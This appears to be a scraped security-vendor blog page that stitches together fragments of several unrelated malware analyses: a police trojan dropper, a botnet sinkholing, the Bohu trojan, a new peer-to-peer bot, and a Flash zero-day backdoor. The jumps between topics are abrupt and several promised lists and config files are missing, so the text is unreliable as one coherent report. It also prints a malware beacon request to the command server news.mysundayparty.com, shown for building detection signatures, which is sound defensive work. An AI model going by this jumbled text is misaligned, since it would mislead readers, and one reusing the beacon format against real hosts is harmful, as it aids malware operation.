03 Jan New P2P Botnet Arising
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About two weeks ago, the German Chaos Computer Club (CCC) has published an analysis report of a backdoor trojan that they claim had been used by German police during investigations in order to capture VoIP and IM communication on a suspect's PC. Our friends over at F-Secure published a blog post last week where they wrote about another file that, according to them, seemed to be the dropper component of the trojan. They were kind enough to share the MD5 hash of the file, so we could pull it from our collection. Stefan and I took a closer look.
The dropper carries five other binaries in its resource table, so there are six components in total – each with a different purpose – all of which have been analyzed by us. Amongst the new things we found in there are two rather interesting ones: firstly, this version is not only capable of running on 32 bit systems; it also includes support for 64 bit versions of Windows. Secondly, the list of target processes to monitor is longer than the one mentioned in the CCC report. The number of applications infected by the various components is 15 in total.
Earlier this week, Microsoft released an announcement about the disruption of a dangerous botnet that was responsible for spam messages, theft of sensitive financial information, pump-and-dump stock scams and distributed denial-of-service attacks.
Kaspersky Lab played a critical role in this botnet takedown initiative, leading the way to reverse-engineer the bot malware, crack the communication protocol and develop tools to attack the peer-to-peer infrastructure. We worked closely with Microsoft’s Digital Crimes Unit (DCU), sharing the relevant information and providing them with access to our live botnet tracking system.
A key part of this effort is the sinkholing of the botnet. It’s important to understand that the botnet still exists – but it’s being controlled by Kaspersky Lab. In tandem with Microsoft’s move to the U.S. court system to disable the domains, we started to sinkhole the botnet. Right now we have 3,000 hosts connecting to our sinkhole every minute. This post describes the inner workings of the botnet and the work we did to prevent it from further operation.
Identifying a botnet is not an easy task sometimes, especially when one gets lost in different components like droppers, infectors and other bad stuff. Some two weeks ago, Jose Nazario from Arbor Networks pointed me to a new varmint that appears to be another peer-to-peer bot. When executed, the program installs tons of stuff that holds a number of goodies, for example
However, we leave these aside for now and focus on the botnet's architecture instead, which is really just a channel for pushing software to infected machines. Scrabbling about in the installed programs finally brought up the actual bot, which we detect as Trojan.Win32.Miner.h. The binary has some layers of obfuscation to make analysis harder but eventually writes a UPX packed executable into a memory section from where to original binary can be restored.
One of the first things that come to attention is a list of 1953 hard-coded IP address strings that are contained in the binary. These addresses are contacted by the bot during its bootstrapping phase in order to join the peer-to-peer network.
A trojan called Bohu that was spreading earlier this year caught people's attention: it has the ability to block cloud-based anti-virus services, which is kind of a new thing. The malware spreads via social engineering and mostly targets China. The guys over at MMPC have published a nice blog post with more details here.
First off, our products already detected and blocked Bohu based on its behavior profile even before we had any signatures out for it. On the contrary, if a system was already infected before the installation of a scanner, you might be in trouble...
Amongst other things, Bohu also prevents access to a Kaspersky server that hosts virus signature updates by hooking the DNS resolver in order to filter out resolution attempts for the corresponding domain name. Consequently, an infected system is prevented from automatically updating its Kaspersky signature databases, so it cannot detect and remove the threat.
However, the domain name filter can also be turned into an infection check! We have prepared a little web page at http://www.securelist.com/bohucheck that takes advantage of Bohu's blockade and displays different messages depending on whether a system can access the blocked domain or not. Users can now simply surf to this page to find out if they are infected with the trojan. If the page shows the above message, the trojan is not present.
But if the web page shows a warning message, the system is most likely infected:
In any case, if you see the message above, you should manually scan and clean your system. To do so, you can download our freely available rescue disk image and burn it to a CD or USB drive, then boot into it. As the scanner on the rescue system is not affected by the trojan's domain filter, it can still update its signatures and detect and remove the malware. More information on how to use the rescue system is available online on this link.
A new year has broken - a new peer-to-peer botnet is on the rise. It shares some commonalities with the infamous Waledac bot that was taken down in a exemplary effort by Microsoft early last year. Although this new bot has a different code base, it uses the same spreading strategy and also seems to maintain a multi-relay (or peer-to-peer) infrastructure just like its predecessor. Our friends over at ShadowServer have posted an excellent blog entry about this new threat and how it relates to earlier bots.
We are currently analyzing the new family and can confirm peer-to-peer-like behavior. When started, the bot loads a list of 20 hard-coded peers. Each entry contains a unique ID, the peer's IP address and a TCP port it is listening on:
Yesterday, Adobe published an advisory about a critical vulnerability in their Flash Player that is already being actively exploited. The CVE number assigned to this bug is CVE-2010-3654. A fix is currently being prepared by Adobe. The exploit we are seeing right now has a payload which, while not being very sophisticated, holds several surprises.
When executed, the bot checks for command line options. The '-installkys' option installs the bot onto the victim machine. Interestingly enough, if you use the '-removekys' parameter the malware gets entirely removed from the system – a built in unistall. The malware then calls itself without any parameters and the malicious code is run. The screenshot below shows the code for parsing the command line parameters.
The binary drops a DLL, the actual malware, to the hard drive and scans the list of running processes for outlook.exe, iexplore.exe, and firefox.exe. If a matching process is found, the dropped DLL gets injected and executed as a new thread.
The injected code will send an HTTP request to news.mysundayparty.com every 5 minutes and download an encrypted configuration file. The DNS entry seems to be somewhat fluxy: it has a TTL of 1800 seconds, and the IP address it resolves to changes every now and then. A decrypted config file contains a list of commands to gather information about the infected host. This information is encrypted and sent back to the server. Here is a decoded config file:
Searching the web for strings from this file reveals an interesting connection with a piece of malware that was spreading at the beginning of this year. Similar to the current bot, this earlier virus exploits a zero-day vulnerability, collects information about the infected machine and sends it back to its master. A still earlier version is reported to exploit another Flash zero-day.
A nice thing is that each configuration download request contains all the necessary information to track down infected hosts in a network. Below is what the HTTP GET request for the config file looks like. The path contains one parameter assembled from the Windows host name and its IP address with the prefix '-nsunday' and is quite unique. Also note the Referer field, which is always set to http://www.yahoo.com/, and the characteristic Accept header. Constructing a reliable IDS signature should not be too hard.
GET /asp/kys_allow_get.asp?name=getkys.kys&hostname=PC-192.168.0.1-nsunday HTTP/1.1 Referer: http://www.yahoo.com/ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:188.8.131.52) Gecko/2009021910 Firefox/3.0.7 Host: news.mysundayparty.com Cache-Control: no-cache
Kaspersky detects both the installer and the DLL as Backdoor.Win32.Sykipot.an. The exploit is heuristically detected as Exploit.Script.Generic.